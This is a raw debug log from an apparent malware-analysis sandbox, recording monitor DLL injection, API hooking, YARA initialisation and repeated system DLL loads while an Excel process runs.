2025-12-08 08:34:52,776 [root] DEBUG: 4068: DLL loaded at 0x00007FFCD86C0000: C:\Windows\SYSTEM32\kernel.appcore (0x18000 bytes).
2025-12-08 08:34:52,776 [root] DEBUG: 4068: DLL loaded at 0x00007FFCD9BA0000: C:\Windows\System32\bcryptPrimitives (0x7a000 bytes).
2025-12-08 08:34:52,776 [root] DEBUG: 4068: DLL loaded at 0x00007FFCDC0E0000: C:\Windows\System32\clbcatq (0xb0000 bytes).
2025-12-08 08:34:52,792 [root] DEBUG: 4068: DLL loaded at 0x00007FFCCDCA0000: C:\Windows\system32\wbem\wbemprox (0x10000 bytes).
2025-12-08 08:34:52,792 [root] DEBUG: 4068: DLL loaded at 0x00007FFCDAFD0000: C:\Windows\System32\OLEAUT32 (0xd7000 bytes).
2025-12-08 08:34:52,792 [root] DEBUG: 4068: DLL loaded at 0x00007FFCCCE20000: C:\Windows\system32\wbem\wbemsvc (0x14000 bytes).
2025-12-08 08:34:52,807 [root] DEBUG: 4068: DLL loaded at 0x00007FFCCEB40000: C:\Windows\system32\wbem\wmiutils (0x24000 bytes).
2025-12-08 08:34:52,823 [root] DEBUG: 6768: DLL loaded at 0x69C40000: C:\Program Files (x86)\Microsoft Office\root\Office16\GKExcel (0x416000 bytes).
2025-12-08 08:34:52,839 [root] DEBUG: 4068: DLL loaded at 0x00007FFCD9590000: C:\Windows\SYSTEM32\powrprof (0x4d000 bytes).
2025-12-08 08:34:52,854 [root] DEBUG: 4068: DLL loaded at 0x00007FFCB2CF0000: C:\Windows\SYSTEM32\framedynos (0x52000 bytes).
2025-12-08 08:34:52,854 [root] DEBUG: 4068: DLL loaded at 0x00007FFCB0F60000: C:\Windows\system32\wbem\cimwin32 (0x1d2000 bytes).
2025-12-08 08:34:52,854 [root] DEBUG: 4068: DLL loaded at 0x00007FFCD94C0000: C:\Windows\SYSTEM32\UMPDC (0x13000 bytes).
2025-12-08 08:34:52,854 [root] DEBUG: 4068: DLL loaded at 0x00000258C1FE0000: C:\Windows\SYSTEM32\WMI (0x3000 bytes).
2025-12-08 08:34:52,870 [root] DEBUG: 4068: DLL loaded at 0x00007FFCD2970000: C:\Windows\SYSTEM32\wmiclnt (0x11000 bytes).
2025-12-08 08:34:53,042 [root] DEBUG: 6768: api-rate-cap: NtReadVirtualMemory hook disabled due to rate
2025-12-08 08:34:53,057 [root] DEBUG: 6768: DLL loaded at 0x74770000: C:\Windows\SYSTEM32\CRYPTSP (0x15000 bytes).
2025-12-08 08:34:53,057 [root] DEBUG: 6768: DLL loaded at 0x74740000: C:\Windows\system32\rsaenh (0x30000 bytes).
2025-12-08 08:34:53,073 [root] DEBUG: 6768: DLL loaded at 0x69C10000: C:\Windows\SYSTEM32\slc (0x2d000 bytes).
2025-12-08 08:34:53,073 [root] DEBUG: 6768: api-rate-cap: NtOpenKey hook disabled due to rate
2025-12-08 08:34:53,089 [root] DEBUG: 6768: api-rate-cap: NtClose hook disabled due to rate
2025-12-08 08:34:53,089 [root] DEBUG: 6768: api-rate-cap: NtQueryValueKey hook disabled due to rate
2025-12-08 08:34:53,120 [root] DEBUG: 6768: DLL loaded at 0x69AE0000: C:\Windows\SYSTEM32\WindowsCodecs (0x160000 bytes).
2025-12-08 08:34:53,151 [root] DEBUG: 6768: DLL loaded at 0x695F0000: C:\Windows\SYSTEM32\MSIMG32 (0x6000 bytes).
2025-12-08 08:34:53,151 [root] DEBUG: 6768: DLL loaded at 0x69600000: C:\Program Files (x86)\Microsoft Office\root\Office16\gfx (0x4d5000 bytes).
2025-12-08 08:34:53,167 [root] DEBUG: 6768: DLL loaded at 0x69570000: C:\Windows\SYSTEM32\WINSPOOL.DRV (0x7f000 bytes).
2025-12-08 08:34:53,182 [root] DEBUG: 6768: CreateProcessHandler: Injection info set for new process 6784: C:\Windows\splwow64.exe, ImageBase: 0x00000000
2025-12-08 08:34:53,182 [root] INFO: Announced 64-bit process name: splwow64.exe pid: 6784
2025-12-08 08:34:53,182 [lib.api.process] INFO: Monitor config for <Process 6784 splwow64.exe>: C:\tmp65phiig4\dll\6784.ini
2025-12-08 08:34:53,182 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:53,198 [root] DEBUG: Loader: Injecting process 6784 (thread 164) with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:53,198 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:34:53,198 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:53,198 [lib.api.process] INFO: Injected into 64-bit <Process 6784 splwow64.exe>
2025-12-08 08:34:53,198 [root] DEBUG: 6768: DLL loaded at 0x694C0000: C:\Windows\System32\Windows.Networking.Connectivity (0xa2000 bytes).
2025-12-08 08:34:53,229 [root] DEBUG: 6768: DLL loaded at 0x693F0000: C:\Windows\System32\Windows.Security.Authentication.OnlineId (0xc3000 bytes).
2025-12-08 08:34:53,245 [root] DEBUG: 6784: Python path set to 'C:\Python38'.
2025-12-08 08:34:53,245 [root] DEBUG: 6768: DLL loaded at 0x69170000: C:\Windows\System32\OneCoreUAPCommonProxyStub (0x27d000 bytes).
2025-12-08 08:34:53,245 [root] DEBUG: 6784: Dropped file limit defaulting to 100.
2025-12-08 08:34:53,245 [root] INFO: Disabling sleep skipping.
2025-12-08 08:34:53,260 [root] DEBUG: 6784: YaraInit: Compiled 41 rule files
2025-12-08 08:34:53,260 [root] DEBUG: 6784: YaraInit: Compiled rules saved to file C:\tmp65phiig4\data\yara\capemon.yac
2025-12-08 08:34:53,260 [root] DEBUG: 6784: GetAddressByYara: ModuleBase 0x00007FFCDC350000 FunctionName RtlInsertInvertedFunctionTable
2025-12-08 08:34:53,260 [root] DEBUG: 6784: RtlInsertInvertedFunctionTable 0x00007FFCDC37BBFA, LdrpInvertedFunctionTableSRWLock 0x00007FFCDC4D70F0
2025-12-08 08:34:53,260 [root] DEBUG: 6784: YaraScan: Scanning 0x00007FF71DC20000, size 0x2e356
2025-12-08 08:34:53,276 [root] DEBUG: 6784: AmsiDumper initialised.
2025-12-08 08:34:53,276 [root] DEBUG: 6784: Monitor initialised: 64-bit capemon loaded in process 6784 at 0x00007FFCAE780000, thread 164, image base 0x00007FF71DC20000, stack from 0x0000000001075000-0x0000000001080000
2025-12-08 08:34:53,276 [root] DEBUG: 6784: Commandline: C:\Windows\splwow64.exe 12288
2025-12-08 08:34:53,276 [root] DEBUG: 6784: hook_api: LdrpCallInitRoutine export address 0x00007FFCDC378634 obtained via GetFunctionAddress
2025-12-08 08:34:53,276 [root] DEBUG: 6784: hook_api: Warning - CoCreateInstance export address 0x00007FFCDBCB7EF9 differs from GetProcAddress -> 0x00007FFCDBD92050 (combase.dll::0x42050)
2025-12-08 08:34:53,276 [root] DEBUG: 6784: hook_api: Warning - CoCreateInstanceEx export address 0x00007FFCDBCB7F38 differs from GetProcAddress -> 0x00007FFCDBD6CC40 (combase.dll::0x1cc40)
2025-12-08 08:34:53,276 [root] DEBUG: 6784: hook_api: Warning - CoGetClassObject export address 0x00007FFCDBCB84C8 differs from GetProcAddress -> 0x00007FFCDBE19870 (combase.dll::0xc9870)
2025-12-08 08:34:53,276 [root] DEBUG: 6784: hook_api: Warning - CLSIDFromProgID export address 0x00007FFCDBCB7744 differs from GetProcAddress -> 0x00007FFCDBD6E410 (combase.dll::0x1e410)
2025-12-08 08:34:53,276 [root] DEBUG: 6784: hook_api: Warning - CLSIDFromProgIDEx export address 0x00007FFCDBCB7781 differs from GetProcAddress -> 0x00007FFCDBF10280 (combase.dll::0x1c0280)
2025-12-08 08:34:53,292 [root] WARNING: b'Unable to place hook on LockResource'
2025-12-08 08:34:53,292 [root] DEBUG: 6784: set_hooks: Unable to hook LockResource
2025-12-08 08:34:53,292 [root] DEBUG: 6784: Hooked 605 out of 606 functions
2025-12-08 08:34:53,292 [root] DEBUG: 6784: Syscall hook installed, syscall logging level 1
2025-12-08 08:34:53,292 [root] INFO: Loaded monitor into process with pid 6784
2025-12-08 08:34:53,292 [root] DEBUG: 6784: caller_dispatch: Added region at 0x00007FF71DC20000 to tracked regions list (kernel32::SetUnhandledExceptionFilter returns to 0x00007FF71DC219E1, thread 164).
2025-12-08 08:34:53,292 [root] DEBUG: 6784: YaraScan: Scanning 0x00007FF71DC20000, size 0x2e356
2025-12-08 08:34:53,292 [root] DEBUG: 6784: ProcessImageBase: Main module image at 0x00007FF71DC20000 unmodified (entropy change 0.000000e+00)
2025-12-08 08:34:53,370 [root] DEBUG: Error 5 (0x5) - OpenProcessHandler: Error obtaining target process name: Access is denied.
2025-12-08 08:34:53,370 [root] DEBUG: 6784: OpenProcessHandler: Injection info created for process 6768, handle 0x23c: Error obtaining target process name
2025-12-08 08:34:53,385 [root] DEBUG: 6784: DLL loaded at 0x00007FFCDAFD0000: C:\Windows\System32\OLEAUT32 (0xd7000 bytes).
2025-12-08 08:34:53,385 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCE6B0000: C:\Windows\SYSTEM32\VERSION (0xa000 bytes).
2025-12-08 08:34:53,385 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCD060000: C:\Windows\SYSTEM32\prntvpt (0x2f000 bytes).
2025-12-08 08:34:53,385 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8C30000: C:\Windows\SYSTEM32\USERENV (0x2c000 bytes).
2025-12-08 08:34:53,385 [root] DEBUG: 6784: DLL loaded at 0x00007FFCB08F0000: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_f4a269683ef774ae\Amd64\PrintConfig (0x3e4000 bytes).
2025-12-08 08:34:53,401 [root] DEBUG: 6784: api-rate-cap: memcpy hook disabled due to rate
2025-12-08 08:34:53,401 [root] DEBUG: 6784: set_hooks_by_export_directory: Hooked 0 out of 606 functions
2025-12-08 08:34:53,401 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD86C0000: C:\Windows\SYSTEM32\kernel.appcore (0x18000 bytes).
2025-12-08 08:34:53,417 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD9BA0000: C:\Windows\System32\bcryptPrimitives (0x7a000 bytes).
2025-12-08 08:34:53,417 [root] DEBUG: 6784: DLL loaded at 0x00007FFCDC0E0000: C:\Windows\System32\clbcatq (0xb0000 bytes).
2025-12-08 08:34:53,417 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,432 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,432 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,432 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,432 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,448 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD6BB0000: C:\Windows\system32\uxtheme (0xab000 bytes).
2025-12-08 08:34:53,464 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,464 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,464 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,479 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,495 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,495 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,495 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,495 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,510 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,510 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,510 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,526 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,526 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,526 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,542 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,542 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,542 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,542 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,557 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,557 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,573 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,573 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,573 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,573 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,589 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,589 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,589 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,589 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD9140000: C:\Windows\SYSTEM32\cfgmgr32 (0x4e000 bytes).
2025-12-08 08:34:53,604 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC1E30000: C:\Windows\SYSTEM32\Print.PrintSupport.Source (0x66000 bytes).
2025-12-08 08:34:53,604 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,620 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,620 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,620 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,620 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,635 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,635 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,635 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,667 [root] DEBUG: 6784: DLL loaded at 0x00007FFCB1910000: C:\Windows\System32\jscript (0xd6000 bytes).
2025-12-08 08:34:53,667 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:34:53,667 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD95F0000: C:\Windows\SYSTEM32\profapi (0x26000 bytes).
2025-12-08 08:34:53,667 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC010000: C:\Program Files\Windows Defender\MpOav (0x79000 bytes).
2025-12-08 08:34:53,698 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD94E0000: C:\Windows\SYSTEM32\sxs (0xa3000 bytes).
2025-12-08 08:34:53,729 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:34:53,745 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:34:53,792 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,792 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,792 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,792 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,792 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,807 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,807 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,807 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,823 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,839 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,839 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,839 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,839 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,855 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,855 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,855 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,870 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,870 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,870 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,870 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,870 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,885 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,885 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,885 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,901 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,901 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,901 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,901 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,901 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,917 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,917 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,917 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,932 [root] DEBUG: 6784: DLL loaded at 0x00007FFCC2080000: C:\Windows\System32\msxml6 (0x285000 bytes).
2025-12-08 08:34:53,948 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\System32\iertutil (0x2bc000 bytes).
2025-12-08 08:34:53,948 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCCEC0000: C:\Windows\System32\srvcli (0x28000 bytes).
2025-12-08 08:34:53,948 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD8000000: C:\Windows\System32\netutils (0xc000 bytes).
2025-12-08 08:34:53,948 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB6C0000: C:\Windows\SYSTEM32\urlmon (0x1f0000 bytes).
2025-12-08 08:34:53,964 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3D0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140 (0x1b000 bytes).
2025-12-08 08:34:53,964 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC4A0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\VCRUNTIME140_1 (0xc000 bytes).
2025-12-08 08:34:53,964 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC3F0000: C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLMF (0x13000 bytes).
2025-12-08 08:34:53,979 [root] DEBUG: 6784: DLL loaded at 0x00007FFCB1910000: C:\Windows\System32\jscript (0xd6000 bytes).
2025-12-08 08:34:53,979 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:34:54,026 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:34:54,026 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCC090000: C:\Windows\SYSTEM32\amsi (0x1d000 bytes).
2025-12-08 08:34:54,073 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD50F0000: C:\Windows\SYSTEM32\DWrite (0x273000 bytes).
2025-12-08 08:34:54,073 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD4B10000: C:\Windows\SYSTEM32\XmlLite (0x37000 bytes).
2025-12-08 08:34:54,089 [root] DEBUG: 6784: DLL loaded at 0x00007FFCB1910000: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_da68d8e26d6f4c64\Amd64\mxdwdrv (0xd3000 bytes).
2025-12-08 08:34:54,135 [root] INFO: Announced starting service "b'PrintWorkflowUserSvc_6cfae'"
2025-12-08 08:34:54,135 [lib.api.process] INFO: Monitor config for <Process 668 services.exe>: C:\tmp65phiig4\dll\668.ini
2025-12-08 08:34:54,135 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:54,135 [root] DEBUG: Loader: Injecting process 668 with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:54,135 [root] DEBUG: Loader: Copied config file C:\tmp65phiig4\dll\668.ini to system path C:\668.ini
2025-12-08 08:34:57,401 [lib.common.results] INFO: Uploading file C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml to files\5635fa87dc677df7b62c190853b41088759c1a5b765c413f6d67142b3b342fbc; Size is 9; Max size: 100000000
2025-12-08 08:35:18,142 [root] DEBUG: Loader: Unable to open process, launched: PPLinject64.exe 668 C:\tmp65phiig4\dll\DZbKUl.dll
2025-12-08 08:35:18,142 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:35:18,142 [lib.api.process] INFO: Injected into 64-bit <Process 668 services.exe>
2025-12-08 08:35:20,190 [root] DEBUG: 6784: DLL loaded at 0x00007FFCD2AE0000: C:\Windows\System32\OneCoreUAPCommonProxyStub (0x625000 bytes).
2025-12-08 08:35:20,221 [root] DEBUG: 6784: DLL loaded at 0x00007FFCB01F0000: C:\Windows\SYSTEM32\opcservices (0x234000 bytes).
2025-12-08 08:35:20,237 [root] DEBUG: 6784: DLL loaded at 0x00007FFCCB400000: C:\Windows\SYSTEM32\iertutil (0x2bc000 bytes).
